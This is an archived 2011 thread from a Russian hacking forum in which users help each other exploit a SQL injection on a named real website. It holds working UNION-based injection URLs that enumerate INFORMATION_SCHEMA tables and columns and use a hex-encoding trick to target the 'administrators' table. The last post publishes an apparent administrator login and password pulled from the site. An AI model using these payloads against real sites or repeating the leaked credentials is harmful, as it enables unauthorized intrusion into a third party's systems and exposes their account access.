Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Помогите раскрутить скуль-инъекцию

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Уязвимости] >> Помогите раскрутить скуль-инъекцию
Имя
Сообщение << Старые топики   Новые топики >>
Помогите раскрутить скуль-инъекцию - 2011-07-19 20:39:00.706666   
v0l0d1ka

Сообщений: 36
Оценки: 0
Присоединился: 2008-12-22 00:24:04.290000
Доброго времени суток! Нашел SQL-инъекцию в мускуле. Вывел названия таблиц:
http://www.patrulrinpoche.ru/news.php?id=-70' union select TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 17,1 –

, но названия столбцов следующим запросом вывести не могу:

http://www.patrulrinpoche.ru/news.php?id=-70' union select COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'administrators' LIMIT 0,1 –

Подскажите, как раскрутить инъекцию.
Post #: 1
RE: Помогите раскрутить скуль-инъекцию - 2011-07-19 21:24:48.770000   
Vasek69

Сообщений: 154
Оценки: 0
Присоединился: 2011-02-12 05:33:39.426666
Вот ссылка на колонку:
http://www.patrulrinpoche.ru/news.php?id=-70'+union+select+column_name+from+information_schema.columns+where+table_name=0x61646d696e6973747261746f7273+limit+0,1–
——–
Что такое "0x61646d696e6973747261746f7273"? Это "administrators", зашифрованный в hex. Декодировал тут: string-functions.com/string-hex.aspx. Однако сайт декодировал только "61646d696e6973747261746f7273", поэтому "0x" (в начале) я сам вставил.
——–
А вообще, мне недавно супер-человек с ником r1dex все это подсказал
Post #: 2
RE: Помогите раскрутить скуль-инъекцию - 2011-07-21 21:41:52.416666   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333

quote:

ORIGINAL: Vasek69

Вот ссылка на колонку:
http://www.patrulrinpoche.ru/news.php?id=-70'+union+select+column_name+from+information_schema.columns+where+table_name=0x61646d696e6973747261746f7273+limit+0,1–
——–
Что такое "0x61646d696e6973747261746f7273"? Это "administrators", зашифрованный в hex. Декодировал тут: string-functions.com/string-hex.aspx. Однако сайт декодировал только "61646d696e6973747261746f7273", поэтому "0x" (в начале) я сам вставил.
——–
А вообще, мне недавно супер-человек с ником r1dex все это подсказал

Открываем простые истины?
Post #: 3
RE: Помогите раскрутить скуль-инъекцию - 2011-07-22 14:30:15.636666   
sergey.hudin

Сообщений: 42
Оценки: 0
Присоединился: 2011-06-24 12:41:26.123333
вот тебе результат
login sunlike11
pass Nah29apt1
Post #: 4
Страниц:  [1]
Все форумы >> [Уязвимости] >> Помогите раскрутить скуль-инъекцию







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.